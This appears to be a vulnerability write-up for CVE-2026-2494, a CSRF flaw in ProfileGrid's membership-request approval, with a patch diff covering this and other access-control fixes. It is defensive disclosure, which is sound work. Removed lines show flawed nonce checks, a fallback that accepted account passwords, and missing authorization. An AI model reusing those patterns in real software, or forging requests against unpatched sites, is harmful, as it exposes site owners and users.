Atomic Edge analysis of CVE-2026-2494:
The vulnerability exists in the ProfileGrid WordPress plugin’s membership request management functionality. The root cause is missing nonce validation and insufficient authorization checks in the `pm-membership-requests.php` admin partial. The vulnerable code at line 11-13 processes bulk actions (`approve` or `decline`) without verifying a WordPress nonce. Attackers can forge CSRF requests to the `/wp-admin/admin.php?page=pm_membership_requests` endpoint. The exploit uses the `bulk_action`, `selected[]`, and `_wpnonce` parameters. A malicious link or form can trigger approval or denial of group membership requests when an administrator views it. The patch adds nonce verification at line 13-16 with `wp_verify_nonce($retrieved_nonce, ‘pg_request_manager’)`. It also adds authorization checks for `manage_options` capability and super admin status at line 17-19. Input validation is strengthened by converting request IDs to integers with `absint()` and checking for empty results at lines 27-33 and 47-53. These changes ensure requests are authenticated, authorized, and validated before processing.

CVE-2026-2494: ProfileGrid <= 5.9.8.2 – Cross-Site Request Forgery to Group Membership Request Approval/Denial (profilegrid-user-profiles-groups-and-communities)
CVE-2026-2494
5.9.8.2
5.9.8.3
Analysis Overview
Differential between vulnerable and patched code
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
@@ -61,25 +61,54 @@
}
public function profile_magic_save_access_meta( $post_id ) {
- $post = wp_unslash( $_POST );
- if ( isset( $post['pg_meta_box_nonce'] ) ) {
- if ( sanitize_text_field( $post['pg_meta_box_nonce'] ) || wp_verify_nonce( sanitize_text_field( $post['pg_meta_box_nonce'] ), 'save_post_access_meta' ) ) {
- if ( isset( $post_id ) ) {
- if ( isset( $post['pm_enable_custom_access'] ) ) {
- update_post_meta( $post_id, 'pm_enable_custom_access', sanitize_text_field( $post['pm_enable_custom_access'] ) );
- } else {
- update_post_meta( $post_id, 'pm_enable_custom_access', 0 );
- }
-
- if ( isset( $post['pm_content_access'] ) ) {
- update_post_meta( $post_id, 'pm_content_access', sanitize_text_field( $post['pm_content_access'] ) );
- }
-
- if ( isset( $post['pm_content_access_group'] ) ) {
- update_post_meta( $post_id, 'pm_content_access_group', sanitize_text_field( $post['pm_content_access_group'] ) );
- }
- }
- }
+ if ( ! isset( $post_id ) ) {
+ return;
+ }
+
+ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+ return;
+ }
+
+ if ( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) ) {
+ return;
+ }
+
+ $post = get_post( $post_id );
+ if ( ! $post ) {
+ return;
+ }
+
+ $current_user_id = get_current_user_id();
+ $is_author = ( $current_user_id > 0 && (int) $post->post_author === (int) $current_user_id );
+ $can_edit_post = current_user_can( 'edit_post', $post_id );
+ $is_admin = current_user_can( 'manage_options' );
+
+ if ( ! $can_edit_post && ! $is_author && ! $is_admin ) {
+ return;
+ }
+
+ if ( ! isset( $_POST['pg_meta_box_nonce'] ) ) {
+ return;
+ }
+
+ $nonce = sanitize_text_field( wp_unslash( $_POST['pg_meta_box_nonce'] ) );
+ if ( ! wp_verify_nonce( $nonce, 'save_post_access_meta' ) ) {
+ return;
+ }
+
+ $post = wp_unslash( $_POST );
+ if ( isset( $post['pm_enable_custom_access'] ) ) {
+ update_post_meta( $post_id, 'pm_enable_custom_access', sanitize_text_field( $post['pm_enable_custom_access'] ) );
+ } else {
+ update_post_meta( $post_id, 'pm_enable_custom_access', 0 );
+ }
+
+ if ( isset( $post['pm_content_access'] ) ) {
+ update_post_meta( $post_id, 'pm_content_access', sanitize_text_field( $post['pm_content_access'] ) );
+ }
+
+ if ( isset( $post['pm_content_access_group'] ) ) {
+ update_post_meta( $post_id, 'pm_content_access_group', sanitize_text_field( $post['pm_content_access_group'] ) );
}
}
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
@@ -281,7 +281,7 @@
add_submenu_page( 'pm_manage_groups_hide', __( 'Email Preview', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Email Preview', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_email_preview', array( $this, 'pm_email_preview' ) );
add_submenu_page( 'pm_manage_groups_hide', __( 'Analytics', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Analytics', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_analytics', array( $this, 'pm_analytics' ) );
add_submenu_page( 'pm_manage_groups_hide', __( 'Membership', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Membership', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_membership', array( $this, 'pm_membership' ) );
- add_submenu_page( 'pm_manage_groups', __( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_group_membership_payments', array( $this, 'pm_group_membership_payments' ) );
+ add_submenu_page( 'pm_manage_groups_hide', __( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_group_membership_payments', array( $this, 'pm_group_membership_payments' ) );
add_submenu_page( 'pm_manage_groups', __( 'Shortcodes', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Shortcodes', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_shortcodes', array( $this, 'pm_shortcodes' ) );
add_submenu_page( 'pm_manage_groups', __( 'Global Settings', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Global Settings', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_settings', array( $this, 'pm_settings' ) );
add_submenu_page( 'pm_manage_groups_hide', __( 'General Settings', 'profilegrid-user-profiles-groups-and-communities' ), __( 'General Settings', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_general_settings', array( $this, 'pm_general_settings' ) );
@@ -405,7 +405,9 @@
};
?>
<div class="wrap">
- <h1><?php esc_html_e( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?></h1>
+ <h1 class="wp-heading-inline"><?php esc_html_e( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?></h1>
+ <a href="<?php echo esc_url( admin_url( 'admin.php?page=pm_payment_settings' ) ); ?>" class="page-title-action"><?php esc_html_e( 'Back', 'profilegrid-user-profiles-groups-and-communities' ); ?></a>
+ <hr class="wp-header-end">
<form method="get" class="pg-filter-form">
<input type="hidden" name="page" value="pm_group_membership_payments" />
<div class="tablenav top">
@@ -2228,7 +2230,7 @@
$current_user_id = get_current_user_id();
- if($current_user_id===$userid || current_user_can('manage_option'))
+ if($current_user_id===$userid || current_user_can('manage_options'))
{
$user_attachments = get_user_meta( $userid, $key, true );
if ( $user_attachments != '' ) {
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/global-settings.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/global-settings.php
@@ -175,7 +175,6 @@
</div>
</a>
</div>
-
<div class="uimrow">
<a href="admin.php?page=pm_profile_notification_settings">
<div class="pm_setting_image">
@@ -244,6 +243,17 @@
<?php esc_html_e( 'Currency, Symbol Position, Checkout Page etc.', 'profilegrid-user-profiles-groups-and-communities' ); ?>
</span> </div>
</a> </div>
+ <div class="uimrow">
+ <a href="admin.php?page=pm_api_settings">
+ <div class="pm_setting_image">
+ <img src="<?php echo esc_url( $path . 'images/pg-web-api-icon.png' ); ?>" class="options" alt="options">
+ </div>
+ <div class="pm-setting-heading">
+ <span class="pm-setting-icon-title"><?php esc_html_e( 'APIs / Webhooks', 'profilegrid-user-profiles-groups-and-communities' ); ?></span>
+ <span class="pm-setting-description"><?php esc_html_e( 'Manage REST API and webhook access.', 'profilegrid-user-profiles-groups-and-communities' ); ?></span>
+ </div>
+ </a>
+ </div>
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
@@ -242,10 +242,13 @@
<span class="pg-box-card-setting-info"><?php esc_attr_e('Members List', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
<a href="admin.php?page=pm_user_manager&pagenum=1&gid=<?php echo esc_attr($group->id);?>"><span class="material-icons">group</span></a>
</div>
+ <!--
<div class="pg-box-card-setting-item">
<span class="pg-box-card-setting-info"><?php esc_attr_e('Add Members', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
<a href="admin.php?page=pm_user_manager&pagenum=1&pg_assign_group=<?php echo esc_attr($group->id);?>&pg_add_members=1"><span class="material-icons">person_add_alt_1</span></a>
</div>
+
+ -->
<div class="pg-box-card-setting-item">
<span class="pg-box-card-setting-info"><?php esc_attr_e('Group Options', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
<?php if(isset( $group_options['group_type'] ) && $group_options['group_type'] == 'form'):?>
@@ -437,7 +440,7 @@
</div>
<div class="pm-new-form-row pg-box-row pg-card-mb-16">
- <div class="pg-box-col-12 pg-group-search-user">
+ <div class="pg-box-col-12 pg-group-search-user" style="display:none">
<div class="pg-group-field">
<label><?php esc_attr_e('Add Members Now (Optional)', 'profilegrid-user-profiles-groups-and-communities'); ?></label>
</div>
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/payment-settings.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/payment-settings.php
@@ -51,6 +51,7 @@
<!-----Dialogue Box Starts----->
<div class="content">
<div class="uimheader">
+ <span class="alignright pg-view-payments-log-button"><a href="<?php echo esc_url( admin_url( 'admin.php?page=pm_group_membership_payments' ) ); ?>" class="page-title-action pg-view-payments-log-button"><?php esc_html_e( 'View Payments Log', 'profilegrid-user-profiles-groups-and-communities' ); ?></a></span>
<?php esc_html_e( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?>
</div>
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/pm-membership-requests.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/pm-membership-requests.php
@@ -11,13 +11,30 @@
$offset = ( $pagenum - 1 ) * $limit;
$bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
+if ( ! empty( $bulk_action ) && in_array( $bulk_action, array( 'approve', 'decline' ), true ) ) {
+ $retrieved_nonce = filter_input( INPUT_GET, '_wpnonce' );
+ if ( ! wp_verify_nonce( $retrieved_nonce, 'pg_request_manager' ) ) {
+ die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
+ }
+ if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user->ID ) ) {
+ wp_die( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+}
+
if ( !empty($bulk_action) && $bulk_action == 'approve') {
$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
if ( isset( $selected ) ) :
$message = '';
foreach ( $selected as $id )
{
+ $id = absint( $id );
+ if ( empty( $id ) ) {
+ continue;
+ }
$request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );
+ if ( empty( $request ) ) {
+ continue;
+ }
if($pmrequests->pg_check_group_limit_available($request->gid))
{
$update = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' );
@@ -45,7 +62,14 @@
$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
if ( isset( $selected ) ) :
foreach ( $selected as $id ) {
+ $id = absint( $id );
+ if ( empty( $id ) ) {
+ continue;
+ }
$request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );
+ if ( empty( $request ) ) {
+ continue;
+ }
$dbhandler->remove_row( 'REQUESTS', 'id', $id );
$pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' );
do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-functions.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-functions.php
@@ -785,8 +785,8 @@
*/
public function pm_user_is_group_manager( $user_id, $gid ) {
$user_id = absint( $user_id );
- $gid = absint( $gid );
- if ( 0 === $user_id || 0 === $gid ) {
+ $gid = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+ if ( 0 === $user_id || '' === $gid ) {
return false;
}
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
@@ -1686,7 +1686,7 @@
<?php
}
- public function invitation_send_result_success_popup( $result ) {
+ public function invitation_send_result_success_popup( $result, $post_status = 'results' ) {
$path = plugins_url( '../public/partials/images/popup-close.png', __FILE__ );
$pm_request = new PM_request();
( $post_status=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Results', 'profilegrid-user-profiles-groups-and-communities' );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
@@ -33,7 +33,7 @@
*
* @var string
*/
- protected $parent_slug = 'pm_manage_groups';
+ protected $parent_slug = 'pm_manage_groups_hide';
/**
* Roles allowed to interact with API.
@@ -329,6 +329,10 @@
// Use WordPress core function for application password verification
$password_valid = $this->verify_application_password( $user, $application_pass );
+ if ( is_wp_error( $password_valid ) ) {
+ return $password_valid;
+ }
+
if ( ! $password_valid ) {
return new WP_Error(
'pg_rest_invalid_application_password',
@@ -354,7 +358,7 @@
* @param WP_User $user WordPress user object.
* @param string $application_pass Application password to verify.
*
- * @return bool
+ * @return bool|WP_Error
*/
protected function verify_application_password( $user, $application_pass ) {
// Method 1: Use wp_authenticate_application_password (WordPress 5.6+)
@@ -377,7 +381,8 @@
return false;
}
- // Method 3: Fallback for older WordPress versions or if Application Passwords not available
+ // Method 3: Fallback for older WordPress versions or if Application Passwords not available.
+ // This path must remain application-password-only (never validate regular account password).
return $this->fallback_password_verification( $user, $application_pass );
}
@@ -387,25 +392,24 @@
* @param WP_User $user WordPress user object.
* @param string $password Password to verify.
*
- * @return bool
+ * @return bool|WP_Error
*/
protected function fallback_password_verification( $user, $password ) {
- // Check if it's a regular WordPress password
- if ( wp_check_password( $password, $user->user_pass, $user->ID ) ) {
- return true;
- }
-
- // Check if it matches any stored application passwords in user meta
+ // Legacy fallback: check ProfileGrid-scoped stored application passwords only.
$stored_passwords = get_user_meta( $user->ID, 'profilegrid_application_passwords', true );
if ( is_array( $stored_passwords ) ) {
foreach ( $stored_passwords as $stored_password ) {
- if ( wp_check_password( $password, $stored_password['password_hash'] ) ) {
+ if ( is_array( $stored_password ) && ! empty( $stored_password['password_hash'] ) && wp_check_password( $password, $stored_password['password_hash'] ) ) {
return true;
}
}
}
- return false;
+ return new WP_Error(
+ 'pg_rest_app_password_unsupported',
+ __( 'Application password authentication is not available on this site.', 'profilegrid-user-profiles-groups-and-communities' ),
+ array( 'status' => rest_authorization_required_code() )
+ );
}
/**
@@ -2805,7 +2809,10 @@
}
if ( empty( $token ) ) {
- $token = $request->get_param( 'token' );
+ $allow_query_token = apply_filters( 'pg_rest_api_allow_query_token', false, $request );
+ if ( $allow_query_token ) {
+ $token = $request->get_param( 'token' );
+ }
}
return $token;
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
* Plugin Name: ProfileGrid
* Plugin URI: http://profilegrid.co
* Description: ProfileGrid adds user groups and user profiles functionality to your site.
- * Version: 5.9.8.2
+ * Version: 5.9.8.3
* Author: ProfileGrid User Profiles
* Author URI: https://profilegrid.co
* License: GPL-2.0+
@@ -28,7 +28,7 @@
*/
define('PROGRID_DB_VERSION',4.4);
-define('PROGRID_PLUGIN_VERSION','5.9.8.2');
+define('PROGRID_PLUGIN_VERSION','5.9.8.3');
define('PROGRID_MULTI_GROUP_VERSION', 3.0);
--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -1345,15 +1345,29 @@
public function pm_get_messenger_notification() {
+ if ( ! is_user_logged_in() ) {
+ wp_send_json_error( 'Authentication required', 401 );
+ }
+
+ if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+ wp_send_json_error( 'Invalid nonce', 403 );
+ }
+
$pmmessenger = new PM_Messenger();
$timestamp = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
$activity = filter_input( INPUT_GET, 'activity', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
- $tid = filter_input( INPUT_GET, 'tid',FILTER_VALIDATE_INT );
- if($tid!=0)
- {
- $return = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
- echo wp_kses_post( $return );
- }
+ $tid = absint( filter_input( INPUT_GET, 'tid', FILTER_VALIDATE_INT ) );
+ $uid = get_current_user_id();
+ if ( $tid > 0 ) {
+ $thread = $this->pg_get_authorized_thread( $tid, $uid );
+ if ( false === $thread ) {
+ wp_send_json_error( 'Unauthorized', 403 );
+ }
+ }
+ if ( $tid != 0 ) {
+ $return = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
+ echo wp_kses_post( $return );
+ }
die;
}
@@ -2772,8 +2786,8 @@
$current_user_id = get_current_user_id();
$pmrequests = new PM_request();
- $gid = (string) absint( $gid );
- $is_group_leader = ( '0' !== $gid ) ? $pmrequests->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid ) : false;
+ $gid = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+ $is_group_leader = ( '' !== $gid ) ? $pmrequests->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid ) : false;
$ids_to_check = is_array( $id ) ? $id : array( $id );
@@ -2783,7 +2797,7 @@
foreach ( $ids_to_check as $post_id ) {
$post_author_id = (int) get_post_field( 'post_author', $post_id );
- $post_belongs_gid = ( $post_author_id > 0 && '0' !== $gid ) ? $pmrequests->profile_magic_check_is_group_member( $gid, $post_author_id ) : false;
+ $post_belongs_gid = ( $post_author_id > 0 && '' !== $gid ) ? $pmrequests->profile_magic_check_is_group_member( $gid, $post_author_id ) : false;
$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
|| ( $is_group_leader && $post_belongs_gid );
if ( ! $allowed ) {
@@ -2816,7 +2830,27 @@
if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_post_status' ) ) {
die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
}
+ if ( ! is_user_logged_in() ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+ $current_user_id = get_current_user_id();
if ( is_numeric( $postid ) ) {
+ $post_author_id = (int) get_post_field( 'post_author', $postid );
+ $post_groups = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+ $post_groups = $pm_request->pg_filter_users_group_ids( $post_groups );
+ $post_groups = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+ $is_group_leader = false;
+ foreach ( $post_groups as $post_group_id ) {
+ if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+ $is_group_leader = true;
+ break;
+ }
+ }
+ $allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+ || $current_user_id === $post_author_id || $is_group_leader;
+ if ( ! $allowed ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
$change_status = wp_update_post(
array(
'ID' => $postid,
@@ -2828,6 +2862,25 @@
} else {
global $wpdb;
$ids = maybe_unserialize( $pm_request->pm_encrypt_decrypt_pass( 'decrypt', $postid ) );
+ $ids = is_array( $ids ) ? $ids : array();
+ foreach ( $ids as $id ) {
+ $post_author_id = (int) get_post_field( 'post_author', $id );
+ $post_groups = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+ $post_groups = $pm_request->pg_filter_users_group_ids( $post_groups );
+ $post_groups = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+ $is_group_leader = false;
+ foreach ( $post_groups as $post_group_id ) {
+ if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+ $is_group_leader = true;
+ break;
+ }
+ }
+ $allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+ || $current_user_id === $post_author_id || $is_group_leader;
+ if ( ! $allowed ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+ }
$i = 0;
foreach ( $ids as $id ) {
$is_update = $wpdb->update( $wpdb->posts, array( 'post_status' => $blog_status ), array( 'ID' => $id ) );
@@ -2856,8 +2909,37 @@
if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_post_content_access_level' ) ) {
die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
}
+ if ( ! is_user_logged_in() ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+ $current_user_id = get_current_user_id();
if ( is_numeric( $postid ) ) {
+ $post_author_id = (int) get_post_field( 'post_author', $postid );
+ $post_groups = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+ $post_groups = $pm_request->pg_filter_users_group_ids( $post_groups );
+ $post_groups = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+ $is_group_leader = false;
+ $gid_for_check = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+ if ( '' !== $gid_for_check ) {
+ $post_belongs_gid = $pm_request->profile_magic_check_is_group_member( $gid_for_check, $post_author_id );
+ if ( $post_belongs_gid && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid_for_check ) ) {
+ $is_group_leader = true;
+ }
+ }
+ if ( ! $is_group_leader ) {
+ foreach ( $post_groups as $post_group_id ) {
+ if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+ $is_group_leader = true;
+ break;
+ }
+ }
+ }
+ $allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+ || $current_user_id === $post_author_id || $is_group_leader;
+ if ( ! $allowed ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
if ( isset( $pm_content_access ) ) :
if ( $pm_content_access == 5 ) {
update_post_meta( $postid, 'pm_content_access', '2' );
@@ -2877,6 +2959,34 @@
endif;
} else {
$ids = maybe_unserialize( $pm_request->pm_encrypt_decrypt_pass( 'decrypt', $postid ) );
+ $ids = is_array( $ids ) ? $ids : array();
+ foreach ( $ids as $id ) {
+ $post_author_id = (int) get_post_field( 'post_author', $id );
+ $post_groups = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+ $post_groups = $pm_request->pg_filter_users_group_ids( $post_groups );
+ $post_groups = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+ $is_group_leader = false;
+ $gid_for_check = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+ if ( '' !== $gid_for_check ) {
+ $post_belongs_gid = $pm_request->profile_magic_check_is_group_member( $gid_for_check, $post_author_id );
+ if ( $post_belongs_gid && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid_for_check ) ) {
+ $is_group_leader = true;
+ }
+ }
+ if ( ! $is_group_leader ) {
+ foreach ( $post_groups as $post_group_id ) {
+ if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+ $is_group_leader = true;
+ break;
+ }
+ }
+ }
+ $allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+ || $current_user_id === $post_author_id || $is_group_leader;
+ if ( ! $allowed ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+ }
$i = 0;
foreach ( $ids as $id ) {
if ( $pm_content_access == 5 ) {
@@ -2906,6 +3016,7 @@
public function pm_save_edit_blog_post() {
$html_generator = new PM_HTML_Creator( $this->profile_magic, $this->version );
+ $pm_request = new PM_request();
$postid = filter_input( INPUT_POST, 'post_id' );
$post_title = filter_input( INPUT_POST, 'blog_title' );
$post_content = filter_input( INPUT_POST, 'blog_description' );
@@ -2913,6 +3024,26 @@
if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_edit_blog_post' ) ) {
die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
}
+ if ( ! is_user_logged_in() ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
+ $current_user_id = get_current_user_id();
+ $post_author_id = (int) get_post_field( 'post_author', $postid );
+ $post_groups = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+ $post_groups = $pm_request->pg_filter_users_group_ids( $post_groups );
+ $post_groups = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+ $is_group_leader = false;
+ foreach ( $post_groups as $post_group_id ) {
+ if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+ $is_group_leader = true;
+ break;
+ }
+ }
+ $allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+ || $current_user_id === $post_author_id || $is_group_leader;
+ if ( ! $allowed ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+ }
$change_status = wp_update_post(
array(
'ID' => $postid,
@@ -3135,7 +3266,9 @@
$gid = filter_input( INPUT_POST, 'gid' );
$emails = $post['pm_email_address'];
- $message = '';
+ $message = '';
+ $has_success = false;
+ $has_failure = false;
foreach ( $emails as $email ) {
$user_id = email_exists( sanitize_email( $email) );
if ( $user_id ) {
@@ -3186,7 +3319,8 @@
$group_link = $pmrequest->profile_magic_get_frontend_url( 'pm_group_page', '', $gid );
//$group_link = add_query_arg( 'gid', $gid, $group_link );
- $message .= ' <div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
+ $has_failure = true;
+ $message .= ' <div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
<div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
<div class="pm-difl pg-invited-user-info">
<div class="pg-invited-user-email pm-dbfl">' . $email . ' </div>
@@ -3200,6 +3334,7 @@
} else {
// echo 'test';
$pm_emails->pm_send_invite_link( $email, $gid );
+ $has_success = true;
$message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-success pm-pad10 pm-bg pm-dbfl">
<div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
<div class="pm-difl pg-invited-user-info">
@@ -3211,7 +3346,8 @@
}
}
- $html_generator->invitation_send_result_success_popup( $message );
+ $invite_status = ( $has_failure && ! $has_success ) ? 'failed' : 'results';
+ $html_generator->invitation_send_result_success_popup( $message, $invite_status );
die;
}
@@ -3226,7 +3362,7 @@
$pm_emails = new PM_Emails();
$html_generator = new PM_HTML_Creator( $this->profile_magic, $this->version );
$user_id_raw = isset( $_POST['user_id'] ) ? wp_unslash( $_POST['user_id'] ) : '';
- $gid = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+ $gid = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
$current_user = wp_get_current_user();
$retrieved_nonce = isset( $_POST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ) : '';
$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
@@ -3298,7 +3434,7 @@
$pmrequests = new PM_request();
$pmemails = new PM_Emails();
$user_id = isset( $post['uid'] ) ? $post['uid'] : array();
- $gid = isset( $post['gid'] ) ? absint( $post['gid'] ) : 0;
+ $gid = isset( $post['gid'] ) ? trim( (string) $post['gid'] ) : '';
$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
// SECURITY: authorization check.
@@ -3341,7 +3477,9 @@
}
$current_user = wp_get_current_user();
$view = filter_input( INPUT_POST, 'view' );
- update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+ if ( is_user_logged_in() && ! empty( $current_user->ID ) ) {
+ update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+ }
if ( $view == '' ) {
$pmrequest->pm_get_all_users_from_group( $gid, $pagenum, $limit, $sort_by, $search_in, $search );
} else {
@@ -3361,7 +3499,7 @@
$pmemails = new PM_Emails();
$html_generator = new PM_HTML_Creator( $this->profile_magic, $this->version );
$user_id_raw = filter_input( INPUT_POST, 'user_id' );
- $gid = absint( filter_input( INPUT_POST, 'gid' ) );
+ $gid = trim( (string) filter_input( INPUT_POST, 'gid' ) );
$retrieved_nonce = isset( $_POST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ) : '';
// SECURITY: CSRF check on the specific action nonce.
@@ -3433,7 +3571,7 @@
// SECURITY: authorization check.
$current_user_id = get_current_user_id();
$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
